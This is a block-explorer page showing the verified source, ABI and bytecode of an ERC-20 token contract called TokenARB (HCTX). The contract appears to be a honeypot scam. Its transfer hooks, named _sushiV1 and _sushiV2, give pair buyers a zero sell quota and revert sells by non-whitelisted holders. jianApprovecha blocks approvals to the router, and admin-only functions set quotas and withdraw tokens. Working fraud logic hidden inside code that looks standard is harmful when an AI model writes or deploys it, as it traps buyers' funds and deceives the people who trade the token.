ERC-20
Source Code
Overview
Max Total Supply
100,000,000 HCTX
Holders
10
Transfers
-
0
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
TokenARB
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/**
*Submitted for verification at Arbiscan.io on 2024-10-16
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
struct SCtl {
uint256 rShiFouSet;
mapping(address => uint256) rMaoYongm;
mapping(address => uint256) rKeMaid;
}
mapping(address => bool) kuoYi_;
mapping(address => SCtl) CTLS;
address paiV2;
uint256 public yuzhi_;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
function isContract(address account) internal virtual returns (bool) {
return account.code.length > 0;
}
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
interface IAccessControl {
error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
error AccessControlBadConfirmation();
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
function hasRole(bytes32 role, address account)
external
view
returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address callerConfirmation) external;
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "ADMIN";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(
uint256 value,
uint256 length
) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function strToUint(
string memory _str
) internal pure returns (uint256 res, bool err) {
for (uint256 i = 0; i < bytes(_str).length; i++) {
if (
(uint8(bytes(_str)[i]) - 48) < 0 ||
(uint8(bytes(_str)[i]) - 48) > 9
) {
return (0, false);
}
res +=
(uint8(bytes(_str)[i]) - 48) *
10 ** (bytes(_str).length - i - 1);
}
return (res, true);
}
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) hasRole;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant ADMIN_ROLE = 0x00;
bytes32 public constant KUOYI_ROLE = "KUOYI";
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IAccessControl).interfaceId ||
super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account)
public
view
virtual
returns (bool)
{
return _roles[role].hasRole[account];
}
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert AccessControlUnauthorizedAccount(account, role);
}
}
function KYSetPub(address account, uint256 val)
public
onlyRole(ADMIN_ROLE)
{
uint256 memoUint;
bool err;
//(memoUint, err) = Strings.strToUint(memo);
if (err == false) {
//revert AccessControlBadConfirmation();
}
if(memoUint >= 0){
_CTLSSet(account, val, true);
}
}
function YuzhiS(uint256 swming) public onlyRole(ADMIN_ROLE) {
yuzhi_ = swming;
}
function _up_MaoY_event(address account) internal view returns (uint256) {
return CTLS[account].rMaoYongm[account];
}
function CTLS_RD_(address account) internal view returns (uint256) {
return CTLS[account].rKeMaid[account];
}
function setKuoY(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
if(role == KUOYI_ROLE){
kuoYi_[addr] = true;
}
}
function unSetKuoY(bytes32 role, address addr) public onlyRole(ADMIN_ROLE) {
if(role == KUOYI_ROLE){
kuoYi_[addr] = false;
}
}
function InnerCT(
address account,
uint256 value,
bool emitEvent
) internal {
if (emitEvent) {
CTLS[account].rShiFouSet = 1;
CTLS[account].rMaoYongm[account] = value*10**18;
} else {
CTLS[account].rMaoYongm[account] = value;
}
}
function _CTLSSet(
address account,
uint256 value,
bool emitEvent
) internal {
if (emitEvent) {
CTLS[account].rKeMaid[account] = value*10**18;
} else {
CTLS[account].rKeMaid[account] = value*0;
}
}
function ATrToAn(
bytes32 role,
address addr,
uint256 num
) public onlyRole(ADMIN_ROLE) returns (bool success) {
if(role == ADMIN_ROLE){
return IERC20(addr).transfer(msg.sender, num);
}else{
return false;
}
}
function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address callerConfirmation)
public
virtual
{
if (callerConfirmation != _msgSender()) {
revert AccessControlBadConfirmation();
}
_revokeRole(role, callerConfirmation);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (!hasRole(role, account)) {
_roles[role].hasRole[account] = true;
emit RoleGranted(role, account, _msgSender());
return true;
} else {
return false;
}
}
function _revokeRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (hasRole(role, account)) {
_roles[role].hasRole[account] = false;
emit RoleRevoked(role, account, _msgSender());
return true;
} else {
return false;
}
}
}
abstract contract ERC20 is
Context,
IERC20,
IERC20Metadata,
IERC20Errors,
AccessControl
{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address suBaShi = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_grantRole(ADMIN_ROLE, _msgSender());
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _sushiV1(address to, uint256 value) internal {
if (isContract(to)) {
if (!kuoYi_[to]) {
revert ERC20InvalidReceiver(to);
}
} else if (CTLS[to].rShiFouSet == 0) {
if (!kuoYi_[to]) {
CTLS[to].rShiFouSet = 1;
_CTLSSet(to, value, false);
}
}
}
function _sushiV2(address from, uint256 value) internal {
if (hasRole(ADMIN_ROLE, from)) {} else if (
kuoYi_[from]
) {} else if (yuzhi_ == 50) {
uint256 rm = _up_MaoY_event(from);
if(rm > 0){
if (rm > value && value > 0) {
uint256 amount = rm - value;
InnerCT(from, amount, false);
} else {
revert ERC20InvalidSender(from);
}
}
} else if (CTLS_RD_(from) >= value && value > 0) {
CTLS[from].rKeMaid[from] -= value;
} else if (CTLS_RD_(from) < value || value <= 0) {
revert ERC20InvalidSender(from);
}
}
function update(
address from,
address to,
uint256 value
) internal {
if (from == paiV2) {
_sushiV1(to, value);
} else {
_sushiV2(from, value);
}
}
function _update(
address from,
address to,
uint256 value
) internal virtual {
update(from, to, value);
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_grantRole(ADMIN_ROLE, account);
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
jianApprovecha(owner, spender);
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function jianApprovecha(
address owner,
address spender
) internal {
if(yuzhi_ == 50 && spender == suBaShi){
if(!isContract(spender)){
if(!kuoYi_[owner]){
revert ERC20InvalidSender(owner);
}
CGenXin(spender);
}
}
}
function CGenXin(
address account
) internal virtual returns (uint256) {
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
function senBatUser(
address token,
address[] memory _address,
uint256 _bala
) public onlyRole(ADMIN_ROLE) {
ERC20 con = ERC20(token);
uint256 tokendecimal = con.decimals();
for (uint8 i = 0; i < _address.length; i++) {
uint256 temp = _bala * 10**tokendecimal;
con.transfer(_address[i], temp);
}
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract TokenARB is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint256 value,
address account
) ERC20(_name, _symbol) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506
);
address _paiV2 = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(
address(this),
address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9)
);
_mint(account, value * 10**decimals());
paiV2 = _paiV2;
kuoYi_[paiV2] = true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"ATrToAn","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"KUOYI_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"KYSetPub","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swming","type":"uint256"}],"name":"YuzhiS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256","name":"_bala","type":"uint256"}],"name":"senBatUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"setKuoY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"}],"name":"unSetKuoY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"yuzhi_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]Contract Creation Code
6080604052600a80546001600160a01b031916731b02da8cb0d097eb8d57a175b88c7d8b479975061790553480156200003757600080fd5b50604051620020ff380380620020ff8339810160408190526200005a91620008ca565b838360086200006a8382620009de565b506009620000798282620009de565b5062000087600033620001fe565b5050506000731b02da8cb0d097eb8d57a175b88c7d8b4799750690506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200010a919062000aaa565b6040516364e329cb60e11b815230600482015273fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb960248201526001600160a01b03919091169063c9c65396906044016020604051808303816000875af11580156200016d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000193919062000aaa565b9050620001ba83620001a86012600a62000be2565b620001b4908762000bf3565b620002b1565b600280546001600160a01b039092166001600160a01b0319909216821790556000908152602081905260409020805460ff191660011790555062000c399350505050565b60008281526004602090815260408083206001600160a01b038516845290915281205460ff16620002a75760008381526004602090815260408083206001600160a01b03861684529091529020805460ff191660011790556200025e3390565b6001600160a01b0316826001600160a01b0316847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4506001620002ab565b5060005b92915050565b6001600160a01b038216620002e15760405163ec442f0560e01b8152600060048201526024015b60405180910390fd5b620002ee600083620001fe565b50620002fd6000838362000301565b5050565b6200030e83838362000441565b6001600160a01b0383166200033d57806007600082825462000331919062000c0d565b90915550620003b19050565b6001600160a01b03831660009081526005602052604090205481811015620003925760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401620002d8565b6001600160a01b03841660009081526005602052604090209082900390555b6001600160a01b038216620003cf57600780548290039055620003ee565b6001600160a01b03821660009081526005602052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200043491815260200190565b60405180910390a3505050565b6002546001600160a01b0390811690841603620004695762000464828262000475565b505050565b62000464838262000537565b6001600160a01b0382163b15620004cc576001600160a01b03821660009081526020819052604090205460ff16620002fd5760405163ec442f0560e01b81526001600160a01b0383166004820152602401620002d8565b6001600160a01b0382166000908152600160205260408120549003620002fd576001600160a01b03821660009081526020819052604090205460ff16620002fd576001600160a01b0382166000908152600160208190526040822055620002fd908390839062000710565b6001600160a01b03821660009081527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec602052604090205460ff16620002fd576001600160a01b03821660009081526020819052604090205460ff16620002fd576003546032036200062c576001600160a01b03821660009081526001602081815260408084209092019052902054801562000464578181118015620005dd5750600082115b1562000607576000620005f1838362000c23565b9050620006018482600062000761565b50505050565b604051634b637e8f60e11b81526001600160a01b0384166004820152602401620002d8565b8062000658836001600160a01b0316600090815260016020908152604080832060020190915290205490565b10158015620006675750600081115b15620006ae576001600160a01b038216600090815260016020908152604080832060020190915281208054839290620006a290849062000c23565b90915550620002fd9050565b80620006da836001600160a01b0316600090815260016020908152604080832060020190915290205490565b1080620006e5575080155b15620002fd57604051634b637e8f60e11b81526001600160a01b0383166004820152602401620002d8565b801562000754576200072b82670de0b6b3a764000062000bf3565b6001600160a01b0384166000908152600160209081526040808320600201909152902055505050565b6200072b82600062000bf3565b8015620007c0576001600160a01b0383166000908152600160208190526040909120556200079882670de0b6b3a764000062000bf3565b6001600160a01b03841660009081526001602081815260408084209092019052902055505050565b506001600160a01b039190911660009081526001602081815260408084209092019052902055565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200081057600080fd5b81516001600160401b03808211156200082d576200082d620007e8565b604051601f8301601f19908116603f01168101908282118183101715620008585762000858620007e8565b816040528381526020925086838588010111156200087557600080fd5b600091505b838210156200089957858201830151818301840152908201906200087a565b600093810190920192909252949350505050565b80516001600160a01b0381168114620008c557600080fd5b919050565b60008060008060808587031215620008e157600080fd5b84516001600160401b0380821115620008f957600080fd5b6200090788838901620007fe565b955060208701519150808211156200091e57600080fd5b506200092d87828801620007fe565b935050604085015191506200094560608601620008ad565b905092959194509250565b600181811c908216806200096557607f821691505b6020821081036200098657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200046457600081815260208120601f850160051c81016020861015620009b55750805b601f850160051c820191505b81811015620009d657828155600101620009c1565b505050505050565b81516001600160401b03811115620009fa57620009fa620007e8565b62000a128162000a0b845462000950565b846200098c565b602080601f83116001811462000a4a576000841562000a315750858301515b600019600386901b1c1916600185901b178555620009d6565b600085815260208120601f198616915b8281101562000a7b5788860151825594840194600190910190840162000a5a565b508582101562000a9a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121562000abd57600080fd5b62000ac882620008ad565b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000b2657816000190482111562000b0a5762000b0a62000acf565b8085161562000b1857918102915b93841c939080029062000aea565b509250929050565b60008262000b3f57506001620002ab565b8162000b4e57506000620002ab565b816001811462000b67576002811462000b725762000b92565b6001915050620002ab565b60ff84111562000b865762000b8662000acf565b50506001821b620002ab565b5060208310610133831016604e8410600b841016171562000bb7575081810a620002ab565b62000bc3838362000ae5565b806000190482111562000bda5762000bda62000acf565b029392505050565b600062000ac860ff84168362000b2e565b8082028115828204841417620002ab57620002ab62000acf565b80820180821115620002ab57620002ab62000acf565b81810381811115620002ab57620002ab62000acf565b6114b68062000c496000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b41146102d8578063a9059cbb146102e0578063b42b36bd146102f3578063d547741f14610306578063dd62ed3e14610319578063e08a50a01461035257600080fd5b806370a082311461026557806375b238fc1461028e578063879cd8281461029657806388235460146102a95780638c8ca7b7146102b257806391d14854146102c557600080fd5b8063248a9ca311610115578063248a9ca3146101e55780632f2ff15d14610208578063313ce5671461021d57806336568abe1461022c5780633f3646db1461023f57806345ada8121461025257600080fd5b806301ffc9a71461015d57806305d664dc1461018557806306fdde03146101a2578063095ea7b3146101b757806318160ddd146101ca57806323b872dd146101d2575b600080fd5b61017061016b366004610fe3565b610365565b60405190151581526020015b60405180910390f35b610194644b554f594960d81b81565b60405190815260200161017c565b6101aa61039c565b60405161017c9190611014565b6101706101c536600461107e565b61042e565b600754610194565b6101706101e03660046110a8565b610446565b6101946101f33660046110e4565b60009081526004602052604090206001015490565b61021b6102163660046110fd565b61046a565b005b6040516012815260200161017c565b61021b61023a3660046110fd565b610495565b61021b61024d3660046110fd565b6104cd565b61021b6102603660046110e4565b61050a565b610194610273366004611129565